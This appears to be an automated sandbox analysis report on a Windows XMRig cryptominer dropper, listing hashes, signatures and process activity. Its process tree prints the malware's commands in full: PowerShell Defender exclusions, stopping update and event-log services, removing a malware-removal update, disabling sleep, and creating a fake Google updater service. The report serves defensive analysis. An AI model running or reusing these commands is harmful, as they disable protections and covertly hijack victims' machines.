Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2024 23:13

General

  • Target

    3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe

  • Size

    5.0MB

  • MD5

    24c7ac428eac29a477c9d2d2d2743e36

  • SHA1

    6220abfbd835e5b57128410e49684ac0d80b37aa

  • SHA256

    3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472

  • SHA512

    157e9d70f6b9242af97f02e46d84a4e2adf34b036f132fb89d7e42198c24032b92c7791353d3a510e7edc562613524cecbb4a72549b850027de9287ffcb965ec

  • SSDEEP

    98304:1Tnmqy701zQ7AEvE/LHnt9FqAnzt2oVxJ0rTqGrY51CDcSiavE:NmRqs9WHt9XRXurTcC4V

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe
    "C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2380
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2044
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2396
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:1980
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2092
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2212
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2760
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2924
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2808
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2776
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2660
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2512
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
      2⤵
      • Launches sc.exe
      PID:2768
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:2800
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2824
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
      2⤵
      • Launches sc.exe
      PID:2656
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:2616
    • C:\ProgramData\Google\Chrome\updater.exe
      C:\ProgramData\Google\Chrome\updater.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1676
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:924
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:624
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1548
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2720
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2080
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1488
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2000
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1484
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2752
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1956
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2880
      • C:\Windows\explorer.exe
        explorer.exe
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2872

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • \ProgramData\Google\Chrome\updater.exe

      Filesize

      5.0MB

      MD5

      24c7ac428eac29a477c9d2d2d2743e36

      SHA1

      6220abfbd835e5b57128410e49684ac0d80b37aa

      SHA256

      3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472

      SHA512

      157e9d70f6b9242af97f02e46d84a4e2adf34b036f132fb89d7e42198c24032b92c7791353d3a510e7edc562613524cecbb4a72549b850027de9287ffcb965ec

    • memory/2044-4-0x000007FEF595E000-0x000007FEF595F000-memory.dmp

      Filesize

      4KB

    • memory/2044-7-0x0000000001D30000-0x0000000001D38000-memory.dmp

      Filesize

      32KB

    • memory/2044-6-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

      Filesize

      9.6MB

    • memory/2044-5-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

      Filesize

      2.9MB

    • memory/2044-8-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

      Filesize

      9.6MB

    • memory/2044-9-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

      Filesize

      9.6MB

    • memory/2044-10-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

      Filesize

      9.6MB

    • memory/2044-11-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

      Filesize

      9.6MB

    • memory/2044-12-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

      Filesize

      9.6MB

    • memory/2412-17-0x0000000019D40000-0x000000001A022000-memory.dmp

      Filesize

      2.9MB

    • memory/2412-18-0x0000000000930000-0x0000000000938000-memory.dmp

      Filesize

      32KB

    • memory/2872-20-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-21-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-29-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-32-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-31-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-30-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-28-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-24-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-22-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-23-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-26-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-25-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-27-0x00000000000C0000-0x00000000000E0000-memory.dmp

      Filesize

      128KB

    • memory/2872-33-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2872-34-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB